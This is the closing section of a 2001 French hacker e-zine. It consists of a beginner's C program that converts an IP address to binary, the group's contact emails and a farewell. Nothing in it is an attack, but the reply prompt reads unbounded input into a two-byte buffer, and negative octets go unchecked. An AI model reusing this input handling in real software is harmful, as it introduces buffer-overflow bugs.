/* Binary v.1 par Neo_Fox [IOC]
*
*
*
* J'aurai du mal à faire plus merdique !
* Binary v.1 se contente de saisir une adresse IP
* que vous entrez au prompt d'effectuer la conversion
* en binaire, en appliquant un calcul trés simpliste,
* mais l'essentiel est que ça marche non ?
*
* neo_fox_2001@hotmail.com
*
*/
#include <stdio.h> /* printf, scanf */
#include <stdlib.h> /* exit */
#include <string.h> /* strcmp */
/* Nombres saisis*/
int IP1,IP2,IP3,IP4;
/* les nombres une fois transformés en binaire */
char bin1 [10];
char bin2 [10];
char bin3 [10];
char bin4 [10];
int nbre[7];
/* recommencer */
char saisie [2];
/* définition des sous-programmes*/
void calcul1 ();
void calcul2 ();
void calcul3 ();
void calcul4 ();
void clean ();
main ()
{
printf("\n\n\n**** \tBinary 1.0 par Neo_Fox \t****\n\n\n");
prompt :
printf("\n\nEntrez une Adresse IP au format xxx.xxx.xxx.xxx : ");
scanf("%d.%d.%d.%d",&IP1,&IP2,&IP3,&IP4);
/* Si les octets sont > à 255 ou invalides*/
if (IP1>=256)
{printf("\n\rErreur de saisie !!)\n");goto prompt;}
if (IP2>=256)
{printf("\n\rErreur de saisie !!\n");goto prompt;}
if (IP3>=256)
{printf("\n\rErreur de saisie !!\n");goto prompt;}
if (IP4>=256)
{printf("\n\rErreur de saisie !!\n");goto prompt;}
calcul1();
calcul2();
calcul3();
calcul4();
printf("\n\nDecimal : %d.%d.%d.%d\n",IP1,IP2,IP3,IP4);
printf("Binaire : %s.%s.%s.%s\n",bin1,bin2,bin3,bin4);
/* si l'IP = 127.0.0.1 ... */
if (IP1==127)
{
if (IP2==0)
{
if (IP3==0)
{
if (IP4==1)
{
printf("Usage : IP de loopback\n");
}
}
}
}
/* Recommencer ?*/
again :
printf("\n\nRecommencer y/n ? ");
scanf("%s",&saisie);
if ((strcmp(saisie,"y")==0)||(strcmp(saisie,"Y")==0)){clean(); goto prompt;}
if ((strcmp(saisie,"n")==0)||(strcmp(saisie,"N")==0)){printf("\n\nSortie du Programme !\n\n");
getchar(); exit(1);}
else {goto again;}
return 0;
} /* Fin du main*/
/* Suite de calculs pour déduire la valeur binaire*/
void calcul1 ()
{
if (IP1>=128){nbre[0]=IP1 - 128; strcat(bin1,"1");;}
if (IP1<=127){nbre[0]=IP1; strcat(bin1,"0");}
if (nbre[0]>=64){nbre[1]=nbre[0] - 64; strcat(bin1,"1");}
if (nbre[0]<=63){nbre[1]=nbre[0]; strcat(bin1,"0"); }
if (nbre[1]>=32){nbre[2]=nbre[1] - 32; strcat(bin1,"1");}
if (nbre[1]<=31){nbre[2]=nbre[1]; strcat(bin1,"0"); }
if (nbre[2]>=16){nbre[3]=nbre[2] - 16; strcat(bin1,"1");}
if (nbre[2]<=15){nbre[3]=nbre[2]; strcat(bin1,"0"); }
if (nbre[3]>=8){nbre[4]=nbre[3] - 8; strcat(bin1,"1");}
if (nbre[3]<=7){nbre[4]=nbre[3]; strcat(bin1,"0"); }
if (nbre[4]>=4){nbre[5]=nbre[4] - 4; strcat(bin1,"1");}
if (nbre[4]<=3){nbre[5]=nbre[4]; strcat(bin1,"0"); }
if (nbre[5]>=2){nbre[6]=nbre[5] - 2; strcat(bin1,"1");}
if (nbre[5]<=1){nbre[6]=nbre[5]; strcat(bin1,"0"); }
if (nbre[6]>=1){strcat(bin1,"1");}
if (nbre[6]<=0){strcat(bin1,"0"); }
}
void calcul2 ()
{
if (IP2>=128){nbre[0]=IP2 - 128; strcat(bin2,"1");;}
if (IP2<=127){nbre[0]=IP2; strcat(bin2,"0");}
if (nbre[0]>=64){nbre[1]=nbre[0] - 64; strcat(bin2,"1");}
if (nbre[0]<=63){nbre[1]=nbre[0]; strcat(bin2,"0"); }
if (nbre[1]>=32){nbre[2]=nbre[1] - 32; strcat(bin2,"1");}
if (nbre[1]<=31){nbre[2]=nbre[1]; strcat(bin2,"0"); }
if (nbre[2]>=16){nbre[3]=nbre[2] - 16; strcat(bin2,"1");}
if (nbre[2]<=15){nbre[3]=nbre[2]; strcat(bin2,"0"); }
if (nbre[3]>=8){nbre[4]=nbre[3] - 8; strcat(bin2,"1");}
if (nbre[3]<=7){nbre[4]=nbre[3]; strcat(bin2,"0"); }
if (nbre[4]>=4){nbre[5]=nbre[4] - 4; strcat(bin2,"1");}
if (nbre[4]<=3){nbre[5]=nbre[4]; strcat(bin2,"0"); }
if (nbre[5]>=2){nbre[6]=nbre[5] - 2; strcat(bin2,"1");}
if (nbre[5]<=1){nbre[6]=nbre[5]; strcat(bin2,"0"); }
if (nbre[6]>=1){strcat(bin2,"1");}
if (nbre[6]<=0){strcat(bin2,"0"); }
}
void calcul3 ()
{
if (IP3>=128){nbre[0]=IP3 - 128; strcat(bin3,"1");;}
if (IP3<=127){nbre[0]=IP3; strcat(bin3,"0");}
if (nbre[0]>=64){nbre[1]=nbre[0] - 64; strcat(bin3,"1");}
if (nbre[0]<=63){nbre[1]=nbre[0]; strcat(bin3,"0"); }
if (nbre[1]>=32){nbre[2]=nbre[1] - 32; strcat(bin3,"1");}
if (nbre[1]<=31){nbre[2]=nbre[1]; strcat(bin3,"0"); }
if (nbre[2]>=16){nbre[3]=nbre[2] - 16; strcat(bin3,"1");}
if (nbre[2]<=15){nbre[3]=nbre[2]; strcat(bin3,"0"); }
if (nbre[3]>=8){nbre[4]=nbre[3] - 8; strcat(bin3,"1");}
if (nbre[3]<=7){nbre[4]=nbre[3]; strcat(bin3,"0"); }
if (nbre[4]>=4){nbre[5]=nbre[4] - 4; strcat(bin3,"1");}
if (nbre[4]<=3){nbre[5]=nbre[4]; strcat(bin3,"0"); }
if (nbre[5]>=2){nbre[6]=nbre[5] - 2; strcat(bin3,"1");}
if (nbre[5]<=1){nbre[6]=nbre[5]; strcat(bin3,"0"); }
if (nbre[6]>=1){strcat(bin3,"1");}
if (nbre[6]<=0){strcat(bin3,"0"); }
}
void calcul4 ()
{
if (IP4>=128){nbre[0]=IP4 - 128; strcat(bin4,"1");;}
if (IP4<=127){nbre[0]=IP4; strcat(bin4,"0");}
if (nbre[0]>=64){nbre[1]=nbre[0] - 64; strcat(bin4,"1");}
if (nbre[0]<=63){nbre[1]=nbre[0]; strcat(bin4,"0"); }
if (nbre[1]>=32){nbre[2]=nbre[1] - 32; strcat(bin4,"1");}
if (nbre[1]<=31){nbre[2]=nbre[1]; strcat(bin4,"0"); }
if (nbre[2]>=16){nbre[3]=nbre[2] - 16; strcat(bin4,"1");}
if (nbre[2]<=15){nbre[3]=nbre[2]; strcat(bin4,"0"); }
if (nbre[3]>=8){nbre[4]=nbre[3] - 8; strcat(bin4,"1");}
if (nbre[3]<=7){nbre[4]=nbre[3]; strcat(bin4,"0"); }
if (nbre[4]>=4){nbre[5]=nbre[4] - 4; strcat(bin4,"1");}
if (nbre[4]<=3){nbre[5]=nbre[4]; strcat(bin4,"0"); }
if (nbre[5]>=2){nbre[6]=nbre[5] - 2; strcat(bin4,"1");}
if (nbre[5]<=1){nbre[6]=nbre[5]; strcat(bin4,"0"); }
if (nbre[6]>=1){strcat(bin4,"1");}
if (nbre[6]<=0){strcat(bin4,"0"); }
}
/* Pour vider les "bin" de leurs précédentes valeurs */
void clean ()
{
strcpy(bin1,"");
strcpy(bin2,"");
strcpy(bin3,"");
strcpy(bin4,"");
}
-------------------------------------------------------------------------------------------
>>> CONTACT <<<
-------------------------------------------------------------------------------------------
o Lex Icon : Invisible_evil_meik@hotmail.com
o Neo Fox : neo_fox_2001@hotmail.com
o Merlin : IOC_merlin@hotmail.com
o Wargames : wargames8@caramail.com
o Notre site : http://IOC.multimania.com
____ __ _ ____ _ _ _ ___ _ __ _
/ ____| / \ | \ || / ____|| | | | | | / _\|_| / \ | \ ||
/ / | /\ |||\\ ||/ / | | | | | | \ / _ | /\ |||\\ ||
\ \____ | \/ ||| \\||\ \____ | |__ | \__/ ||\_\ \ | || \/ ||| \\||
\ ____| \__/ || \\| \ ____||____| \____/ \___/ |_| \__/ || \\|
Ainsi s'achève le premier numéro de notre magazine qui, nous
l'espérons tous, vous aura plus. Seulement 2 des 4 membres que
compte notre groupe ont participé à la rédaction de l'issue #1
pour des raisons de disponnibilité. Comme l'a dit Lex Icon au
début de ce magazine, On recrute! Si vous souhaitez collaborer
au prochaines issues et intégrer le groupe,il faut nous mailer
au plus vite. Sortir un zine de qualité exige pas mal de temps
aussi, toute aide sera la bienvenue. L'issue #2 est en cours
de rédaction : Rendez-vous le 1er Janvier 2002 !
- IOC
- Copyright © 2001 [IOC] -
